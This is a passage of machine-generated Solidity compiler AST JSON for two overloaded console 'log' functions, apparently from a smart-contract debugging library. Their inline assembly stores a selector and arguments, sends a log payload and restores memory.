alse,"visibility":"internal"},{"id":37182,"nodeType":"FunctionDefinition","src":"105314:780:22","nodes":[],"body":{"id":37181,"nodeType":"Block","src":"105383:711:22","nodes":[],"statements":[{"assignments":[37160],"declarations":[{"constant":false,"id":37160,"mutability":"mutable","name":"m0","nameLocation":"105401:2:22","nodeType":"VariableDeclaration","scope":37181,"src":"105393:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37159,"name":"bytes32","nodeType":"ElementaryTypeName","src":"105393:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37161,"nodeType":"VariableDeclarationStatement","src":"105393:10:22"},{"assignments":[37163],"declarations":[{"constant":false,"id":37163,"mutability":"mutable","name":"m1","nameLocation":"105421:2:22","nodeType":"VariableDeclaration","scope":37181,"src":"105413:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37162,"name":"bytes32","nodeType":"ElementaryTypeName","src":"105413:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37164,"nodeType":"VariableDeclarationStatement","src":"105413:10:22"},{"assignments":[37166],"declarations":[{"constant":false,"id":37166,"mutability":"mutable","name":"m2","nameLocation":"105441:2:22","nodeType":"VariableDeclaration","scope":37181,"src":"105433:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37165,"name":"bytes32","nodeType":"ElementaryTypeName","src":"105433:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37167,"nodeType":"VariableDeclarationStatement","src":"105433:10:22"},{"assignments":[37169],"declarations":[{"constant":false,"id":37169,"mutability":"mutable","name":"m3","nameLocation":"105461:2:22","nodeType":"VariableDeclaration","scope":37181,"src":"105453:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37168,"name":"bytes32","nodeType":"ElementaryTypeName","src":"105453:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37170,"nodeType":"VariableDeclarationStatement","src":"105453:10:22"},{"assignments":[37172],"declarations":[{"constant":false,"id":37172,"mutability":"mutable","name":"m4","nameLocation":"105481:2:22","nodeType":"VariableDeclaration","scope":37181,"src":"105473:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37171,"name":"bytes32","nodeType":"ElementaryTypeName","src":"105473:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37173,"nodeType":"VariableDeclarationStatement","src":"105473:10:22"},{"AST":{"nativeSrc":"105502:375:22","nodeType":"YulBlock","src":"105502:375:22","statements":[{"nativeSrc":"105516:17:22","nodeType":"YulAssignment","src":"105516:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"105528:4:22","nodeType":"YulLiteral","src":"105528:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"105522:5:22","nodeType":"YulIdentifier","src":"105522:5:22"},"nativeSrc":"105522:11:22","nodeType":"YulFunctionCall","src":"105522:11:22"},"variableNames":[{"name":"m0","nativeSrc":"105516:2:22","nodeType":"YulIdentifier","src":"105516:2:22"}]},{"nativeSrc":"105546:17:22","nodeType":"YulAssignment","src":"105546:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"105558:4:22","nodeType":"YulLiteral","src":"105558:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"105552:5:22","nodeType":"YulIdentifier","src":"105552:5:22"},"nativeSrc":"105552:11:22","nodeType":"YulFunctionCall","src":"105552:11:22"},"variableNames":[{"name":"m1","nativeSrc":"105546:2:22","nodeType":"YulIdentifier","src":"105546:2:22"}]},{"nativeSrc":"105576:17:22","nodeType":"YulAssignment","src":"105576:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"105588:4:22","nodeType":"YulLiteral","src":"105588:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"105582:5:22","nodeType":"YulIdentifier","src":"105582:5:22"},"nativeSrc":"105582:11:22","nodeType":"YulFunctionCall","src":"105582:11:22"},"variableNames":[{"name":"m2","nativeSrc":"105576:2:22","nodeType":"YulIdentifier","src":"105576:2:22"}]},{"nativeSrc":"105606:17:22","nodeType":"YulAssignment","src":"105606:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"105618:4:22","nodeType":"YulLiteral","src":"105618:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"105612:5:22","nodeType":"YulIdentifier","src":"105612:5:22"},"nativeSrc":"105612:11:22","nodeType":"YulFunctionCall","src":"105612:11:22"},"variableNames":[{"name":"m3","nativeSrc":"105606:2:22","nodeType":"YulIdentifier","src":"105606:2:22"}]},{"nativeSrc":"105636:17:22","nodeType":"YulAssignment","src":"105636:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"105648:4:22","nodeType":"YulLiteral","src":"105648:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"105642:5:22","nodeType":"YulIdentifier","src":"105642:5:22"},"nativeSrc":"105642:11:22","nodeType":"YulFunctionCall","src":"105642:11:22"},"variableNames":[{"name":"m4","nativeSrc":"105636:2:22","nodeType":"YulIdentifier","src":"105636:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"105734:4:22","nodeType":"YulLiteral","src":"105734:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"105740:10:22","nodeType":"YulLiteral","src":"105740:10:22","type":"","value":"0x8c4e5de6"}],"functionName":{"name":"mstore","nativeSrc":"105727:6:22","nodeType":"YulIdentifier","src":"105727:6:22"},"nativeSrc":"105727:24:22","nodeType":"YulFunctionCall","src":"105727:24:22"},"nativeSrc":"105727:24:22","nodeType":"YulExpressionStatement","src":"105727:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"105771:4:22","nodeType":"YulLiteral","src":"105771:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"105777:2:22","nodeType":"YulIdentifier","src":"105777:2:22"}],"functionName":{"name":"mstore","nativeSrc":"105764:6:22","nodeType":"YulIdentifier","src":"105764:6:22"},"nativeSrc":"105764:16:22","nodeType":"YulFunctionCall","src":"105764:16:22"},"nativeSrc":"105764:16:22","nodeType":"YulExpressionStatement","src":"105764:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"105800:4:22","nodeType":"YulLiteral","src":"105800:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"105806:2:22","nodeType":"YulIdentifier","src":"105806:2:22"}],"functionName":{"name":"mstore","nativeSrc":"105793:6:22","nodeType":"YulIdentifier","src":"105793:6:22"},"nativeSrc":"105793:16:22","nodeType":"YulFunctionCall","src":"105793:16:22"},"nativeSrc":"105793:16:22","nodeType":"YulExpressionStatement","src":"105793:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"105829:4:22","nodeType":"YulLiteral","src":"105829:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"105835:2:22","nodeType":"YulIdentifier","src":"105835:2:22"}],"functionName":{"name":"mstore","nativeSrc":"105822:6:22","nodeType":"YulIdentifier","src":"105822:6:22"},"nativeSrc":"105822:16:22","nodeType":"YulFunctionCall","src":"105822:16:22"},"nativeSrc":"105822:16:22","nodeType":"YulExpressionStatement","src":"105822:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"105858:4:22","nodeType":"YulLiteral","src":"105858:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"105864:2:22","nodeType":"YulIdentifier","src":"105864:2:22"}],"functionName":{"name":"mstore","nativeSrc":"105851:6:22","nodeType":"YulIdentifier","src":"105851:6:22"},"nativeSrc":"105851:16:22","nodeType":"YulFunctionCall","src":"105851:16:22"},"nativeSrc":"105851:16:22","nodeType":"YulExpressionStatement","src":"105851:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37160,"isOffset":false,"isSlot":false,"src":"105516:2:22","valueSize":1},{"declaration":37163,"isOffset":false,"isSlot":false,"src":"105546:2:22","valueSize":1},{"declaration":37166,"isOffset":false,"isSlot":false,"src":"105576:2:22","valueSize":1},{"declaration":37169,"isOffset":false,"isSlot":false,"src":"105606:2:22","valueSize":1},{"declaration":37172,"isOffset":false,"isSlot":false,"src":"105636:2:22","valueSize":1},{"declaration":37150,"isOffset":false,"isSlot":false,"src":"105777:2:22","valueSize":1},{"declaration":37152,"isOffset":false,"isSlot":false,"src":"105806:2:22","valueSize":1},{"declaration":37154,"isOffset":false,"isSlot":false,"src":"105835:2:22","valueSize":1},{"declaration":37156,"isOffset":false,"isSlot":false,"src":"105864:2:22","valueSize":1}],"id":37174,"nodeType":"InlineAssembly","src":"105493:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37176,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"105902:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":37177,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"105908:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":37175,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"105886:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37178,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"105886:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37179,"nodeType":"ExpressionStatement","src":"105886:27:22"},{"AST":{"nativeSrc":"105932:156:22","nodeType":"YulBlock","src":"105932:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"105953:4:22","nodeType":"YulLiteral","src":"105953:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"105959:2:22","nodeType":"YulIdentifier","src":"105959:2:22"}],"functionName":{"name":"mstore","nativeSrc":"105946:6:22","nodeType":"YulIdentifier","src":"105946:6:22"},"nativeSrc":"105946:16:22","nodeType":"YulFunctionCall","src":"105946:16:22"},"nativeSrc":"105946:16:22","nodeType":"YulExpressionStatement","src":"105946:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"105982:4:22","nodeType":"YulLiteral","src":"105982:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"105988:2:22","nodeType":"YulIdentifier","src":"105988:2:22"}],"functionName":{"name":"mstore","nativeSrc":"105975:6:22","nodeType":"YulIdentifier","src":"105975:6:22"},"nativeSrc":"105975:16:22","nodeType":"YulFunctionCall","src":"105975:16:22"},"nativeSrc":"105975:16:22","nodeType":"YulExpressionStatement","src":"105975:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"106011:4:22","nodeType":"YulLiteral","src":"106011:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"106017:2:22","nodeType":"YulIdentifier","src":"106017:2:22"}],"functionName":{"name":"mstore","nativeSrc":"106004:6:22","nodeType":"YulIdentifier","src":"106004:6:22"},"nativeSrc":"106004:16:22","nodeType":"YulFunctionCall","src":"106004:16:22"},"nativeSrc":"106004:16:22","nodeType":"YulExpressionStatement","src":"106004:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"106040:4:22","nodeType":"YulLiteral","src":"106040:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"106046:2:22","nodeType":"YulIdentifier","src":"106046:2:22"}],"functionName":{"name":"mstore","nativeSrc":"106033:6:22","nodeType":"YulIdentifier","src":"106033:6:22"},"nativeSrc":"106033:16:22","nodeType":"YulFunctionCall","src":"106033:16:22"},"nativeSrc":"106033:16:22","nodeType":"YulExpressionStatement","src":"106033:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"106069:4:22","nodeType":"YulLiteral","src":"106069:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"106075:2:22","nodeType":"YulIdentifier","src":"106075:2:22"}],"functionName":{"name":"mstore","nativeSrc":"106062:6:22","nodeType":"YulIdentifier","src":"106062:6:22"},"nativeSrc":"106062:16:22","nodeType":"YulFunctionCall","src":"106062:16:22"},"nativeSrc":"106062:16:22","nodeType":"YulExpressionStatement","src":"106062:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37160,"isOffset":false,"isSlot":false,"src":"105959:2:22","valueSize":1},{"declaration":37163,"isOffset":false,"isSlot":false,"src":"105988:2:22","valueSize":1},{"declaration":37166,"isOffset":false,"isSlot":false,"src":"106017:2:22","valueSize":1},{"declaration":37169,"isOffset":false,"isSlot":false,"src":"106046:2:22","valueSize":1},{"declaration":37172,"isOffset":false,"isSlot":false,"src":"106075:2:22","valueSize":1}],"id":37180,"nodeType":"InlineAssembly","src":"105923:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"105323:3:22","parameters":{"id":37157,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37150,"mutability":"mutable","name":"p0","nameLocation":"105335:2:22","nodeType":"VariableDeclaration","scope":37182,"src":"105327:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37149,"name":"address","nodeType":"ElementaryTypeName","src":"105327:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37152,"mutability":"mutable","name":"p1","nameLocation":"105344:2:22","nodeType":"VariableDeclaration","scope":37182,"src":"105339:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37151,"name":"bool","nodeType":"ElementaryTypeName","src":"105339:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37154,"mutability":"mutable","name":"p2","nameLocation":"105353:2:22","nodeType":"VariableDeclaration","scope":37182,"src":"105348:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37153,"name":"bool","nodeType":"ElementaryTypeName","src":"105348:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37156,"mutability":"mutable","name":"p3","nameLocation":"105365:2:22","nodeType":"VariableDeclaration","scope":37182,"src":"105357:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37155,"name":"uint256","nodeType":"ElementaryTypeName","src":"105357:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"105326:42:22"},"returnParameters":{"id":37158,"nodeType":"ParameterList","parameters":[],"src":"105383:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37222,"nodeType":"FunctionDefinition","src":"106100:1328:22","nodes":[],"body":{"id":37221,"nodeType":"Block","src":"106169:1259:22","nodes":[],"statements":[{"assignments":[37194],"declarations":[{"constant":false,"id":37194,"mutability":"mutable","name":"m0","nameLocation":"106187:2:22","nodeType":"VariableDeclaration","scope":37221,"src":"106179:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37193,"name":"bytes32","nodeType":"ElementaryTypeName","src":"106179:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37195,"nodeType":"VariableDeclarationStatement","src":"106179:10:22"},{"assignments":[37197],"declarations":[{"constant":false,"id":37197,"mutability":"mutable","name":"m1","nameLocation":"106207:2:22","nodeType":"VariableDeclaration","scope":37221,"src":"106199:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37196,"name":"bytes32","nodeType":"ElementaryTypeName","src":"106199:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37198,"nodeType":"VariableDeclarationStatement","src":"106199:10:22"},{"assignments":[37200],"declarations":[{"constant":false,"id":37200,"mutability":"mutable","name":"m2","nameLocation":"106227:2:22","nodeType":"VariableDeclaration","scope":37221,"src":"106219:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37199,"name":"bytes32","nodeType":"ElementaryTypeName","src":"106219:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37201,"nodeType":"VariableDeclarationStatement","src":"106219:10:22"},{"assignments":[37203],"declarations":[{"constant":false,"id":37203,"mutability":"mutable","name":"m3","nameLocation":"106247:2:22","nodeType":"VariableDeclaration","scope":37221,"src":"106239:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37202,"name":"bytes32","nodeType":"ElementaryTypeName","src":"106239:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37204,"nodeType":"VariableDeclarationStatement","src":"106239:10:22"},{"assignments":[37206],"declarations":[{"constant":false,"id":37206,"mutability":"mutable","name":"m4","nameLocation":"106267:2:22","nodeType":"VariableDeclaration","scope":37221,"src":"106259:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37205,"name":"bytes32","nodeType":"ElementaryTypeName","src":"106259:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37207,"nodeType":"VariableDeclarationStatement","src":"106259:10:22"},{"assignments":[37209],"declarations":[{"constant":false,"id":37209,"mutability":"mutable","name":"m5","nameLocation":"106287:2:22","nodeType":"VariableDeclaration","scope":37221,"src":"106279:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37208,"name":"bytes32","nodeType":"ElementaryTypeName","src":"106279:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37210,"nodeType":"VariableDeclarationStatement","src":"106279:10:22"},{"assignments":[37212],"declarations":[{"constant":false,"id":37212,"mutability":"mutable","name":"m6","nameLocation":"106307:2:22","nodeType":"VariableDeclaration","scope":37221,"src":"106299:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37211,"name":"bytes32","nodeType":"ElementaryTypeName","src":"106299:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37213,"nodeType":"VariableDeclarationStatement","src":"106299:10:22"},{"AST":{"nativeSrc":"106328:825:22","nodeType":"YulBlock","src":"106328:825:22","statements":[{"body":{"nativeSrc":"106371:313:22","nodeType":"YulBlock","src":"106371:313:22","statements":[{"nativeSrc":"106389:15:22","nodeType":"YulVariableDeclaration","src":"106389:15:22","value":{"kind":"number","nativeSrc":"106403:1:22","nodeType":"YulLiteral","src":"106403:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"106393:6:22","nodeType":"YulTypedName","src":"106393:6:22","type":""}]},{"body":{"nativeSrc":"106474:40:22","nodeType":"YulBlock","src":"106474:40:22","statements":[{"body":{"nativeSrc":"106503:9:22","nodeType":"YulBlock","src":"106503:9:22","statements":[{"nativeSrc":"106505:5:22","nodeType":"YulBreak","src":"106505:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"106491:6:22","nodeType":"YulIdentifier","src":"106491:6:22"},{"name":"w","nativeSrc":"106499:1:22","nodeType":"YulIdentifier","src":"106499:1:22"}],"functionName":{"name":"byte","nativeSrc":"106486:4:22","nodeType":"YulIdentifier","src":"106486:4:22"},"nativeSrc":"106486:15:22","nodeType":"YulFunctionCall","src":"106486:15:22"}],"functionName":{"name":"iszero","nativeSrc":"106479:6:22","nodeType":"YulIdentifier","src":"106479:6:22"},"nativeSrc":"106479:23:22","nodeType":"YulFunctionCall","src":"106479:23:22"},"nativeSrc":"106476:36:22","nodeType":"YulIf","src":"106476:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"106431:6:22","nodeType":"YulIdentifier","src":"106431:6:22"},{"kind":"number","nativeSrc":"106439:4:22","nodeType":"YulLiteral","src":"106439:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"106428:2:22","nodeType":"YulIdentifier","src":"106428:2:22"},"nativeSrc":"106428:16:22","nodeType":"YulFunctionCall","src":"106428:16:22"},"nativeSrc":"106421:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"106445:28:22","nodeType":"YulBlock","src":"106445:28:22","statements":[{"nativeSrc":"106447:24:22","nodeType":"YulAssignment","src":"106447:24:22","value":{"arguments":[{"name":"length","nativeSrc":"106461:6:22","nodeType":"YulIdentifier","src":"106461:6:22"},{"kind":"number","nativeSrc":"106469:1:22","nodeType":"YulLiteral","src":"106469:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"106457:3:22","nodeType":"YulIdentifier","src":"106457:3:22"},"nativeSrc":"106457:14:22","nodeType":"YulFunctionCall","src":"106457:14:22"},"variableNames":[{"name":"length","nativeSrc":"106447:6:22","nodeType":"YulIdentifier","src":"106447:6:22"}]}]},"pre":{"nativeSrc":"106425:2:22","nodeType":"YulBlock","src":"106425:2:22","statements":[]},"src":"106421:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"106538:3:22","nodeType":"YulIdentifier","src":"106538:3:22"},{"name":"length","nativeSrc":"106543:6:22","nodeType":"YulIdentifier","src":"106543:6:22"}],"functionName":{"name":"mstore","nativeSrc":"106531:6:22","nodeType":"YulIdentifier","src":"106531:6:22"},"nativeSrc":"106531:19:22","nodeType":"YulFunctionCall","src":"106531:19:22"},"nativeSrc":"106531:19:22","nodeType":"YulExpressionStatement","src":"106531:19:22"},{"nativeSrc":"106567:37:22","nodeType":"YulVariableDeclaration","src":"106567:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"106584:3:22","nodeType":"YulLiteral","src":"106584:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"106593:1:22","nodeType":"YulLiteral","src":"106593:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"106596:6:22","nodeType":"YulIdentifier","src":"106596:6:22"}],"functionName":{"name":"shl","nativeSrc":"106589:3:22","nodeType":"YulIdentifier","src":"106589:3:22"},"nativeSrc":"106589:14:22","nodeType":"YulFunctionCall","src":"106589:14:22"}],"functionName":{"name":"sub","nativeSrc":"106580:3:22","nodeType":"YulIdentifier","src":"106580:3:22"},"nativeSrc":"106580:24:22","nodeType":"YulFunctionCall","src":"106580:24:22"},"variables":[{"name":"shift","nativeSrc":"106571:5:22","nodeType":"YulTypedName","src":"106571:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"106632:3:22","nodeType":"YulIdentifier","src":"106632:3:22"},{"kind":"number","nativeSrc":"106637:4:22","nodeType":"YulLiteral","src":"106637:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"106628:3:22","nodeType":"YulIdentifier","src":"106628:3:22"},"nativeSrc":"106628:14:22","nodeType":"YulFunctionCall","src":"106628:14:22"},{"arguments":[{"name":"shift","nativeSrc":"106648:5:22","nodeType":"YulIdentifier","src":"106648:5:22"},{"arguments":[{"name":"shift","nativeSrc":"106659:5:22","nodeType":"YulIdentifier","src":"106659:5:22"},{"name":"w","nativeSrc":"106666:1:22","nodeType":"YulIdentifier","src":"106666:1:22"}],"functionName":{"name":"shr","nativeSrc":"106655:3:22","nodeType":"YulIdentifier","src":"106655:3:22"},"nativeSrc":"106655:13:22","nodeType":"YulFunctionCall","src":"106655:13:22"}],"functionName":{"name":"shl","nativeSrc":"106644:3:22","nodeType":"YulIdentifier","src":"106644:3:22"},"nativeSrc":"106644:25:22","nodeType":"YulFunctionCall","src":"106644:25:22"}],"functionName":{"name":"mstore","nativeSrc":"106621:6:22","nodeType":"YulIdentifier","src":"106621:6:22"},"nativeSrc":"106621:49:22","nodeType":"YulFunctionCall","src":"106621:49:22"},"nativeSrc":"106621:49:22","nodeType":"YulExpressionStatement","src":"106621:49:22"}]},"name":"writeString","nativeSrc":"106342:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"106363:3:22","nodeType":"YulTypedName","src":"106363:3:22","type":""},{"name":"w","nativeSrc":"106368:1:22","nodeType":"YulTypedName","src":"106368:1:22","type":""}],"src":"106342:342:22"},{"nativeSrc":"106697:17:22","nodeType":"YulAssignment","src":"106697:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"106709:4:22","nodeType":"YulLiteral","src":"106709:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"106703:5:22","nodeType":"YulIdentifier","src":"106703:5:22"},"nativeSrc":"106703:11:22","nodeType":"YulFunctionCall","src":"106703:11:22"},"variableNames":[{"name":"m0","nativeSrc":"106697:2:22","nodeType":"YulIdentifier","src":"106697:2:22"}]},{"nativeSrc":"106727:17:22","nodeType":"YulAssignment","src":"106727:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"106739:4:22","nodeType":"YulLiteral","src":"106739:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"106733:5:22","nodeType":"YulIdentifier","src":"106733:5:22"},"nativeSrc":"106733:11:22","nodeType":"YulFunctionCall","src":"106733:11:22"},"variableNames":[{"name":"m1","nativeSrc":"106727:2:22","nodeType":"YulIdentifier","src":"106727:2:22"}]},{"nativeSrc":"106757:17:22","nodeType":"YulAssignment","src":"106757:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"106769:4:22","nodeType":"YulLiteral","src":"106769:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"106763:5:22","nodeType":"YulIdentifier","src":"106763:5:22"},"nativeSrc":"106763:11:22","nodeType":"YulFunctionCall","src":"106763:11:22"},"variableNames":[{"name":"m2","nativeSrc":"106757:2:22","nodeType":"YulIdentifier","src":"106757:2:22"}]},{"nativeSrc":"106787:17:22","nodeType":"YulAssignment","src":"106787:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"106799:4:22","nodeType":"YulLiteral","src":"106799:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"106793:5:22","nodeType":"YulIdentifier","src":"106793:5:22"},"nativeSrc":"106793:11:22","nodeType":"YulFunctionCall","src":"106793:11:22"},"variableNames":[{"name":"m3","nativeSrc":"106787:2:22","nodeType":"YulIdentifier","src":"106787:2:22"}]},{"nativeSrc":"106817:17:22","nodeType":"YulAssignment","src":"106817:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"106829:4:22","nodeType":"YulLiteral","src":"106829:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"106823:5:22","nodeType":"YulIdentifier","src":"106823:5:22"},"nativeSrc":"106823:11:22","nodeType":"YulFunctionCall","src":"106823:11:22"},"variableNames":[{"name":"m4","nativeSrc":"106817:2:22","nodeType":"YulIdentifier","src":"106817:2:22"}]},{"nativeSrc":"106847:17:22","nodeType":"YulAssignment","src":"106847:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"106859:4:22","nodeType":"YulLiteral","src":"106859:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"106853:5:22","nodeType":"YulIdentifier","src":"106853:5:22"},"nativeSrc":"106853:11:22","nodeType":"YulFunctionCall","src":"106853:11:22"},"variableNames":[{"name":"m5","nativeSrc":"106847:2:22","nodeType":"YulIdentifier","src":"106847:2:22"}]},{"nativeSrc":"106877:17:22","nodeType":"YulAssignment","src":"106877:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"106889:4:22","nodeType":"YulLiteral","src":"106889:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"106883:5:22","nodeType":"YulIdentifier","src":"106883:5:22"},"nativeSrc":"106883:11:22","nodeType":"YulFunctionCall","src":"106883:11:22"},"variableNames":[{"name":"m6","nativeSrc":"106877:2:22","nodeType":"YulIdentifier","src":"106877:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"106974:4:22","nodeType":"YulLiteral","src":"106974:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"106980:10:22","nodeType":"YulLiteral","src":"106980:10:22","type":"","value":"0xdfc4a2e8"}],"functionName":{"name":"mstore","nativeSrc":"106967:6:22","nodeType":"YulIdentifier","src":"106967:6:22"},"nativeSrc":"106967:24:22","nodeType":"YulFunctionCall","src":"106967:24:22"},"nativeSrc":"106967:24:22","nodeType":"YulExpressionStatement","src":"106967:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSr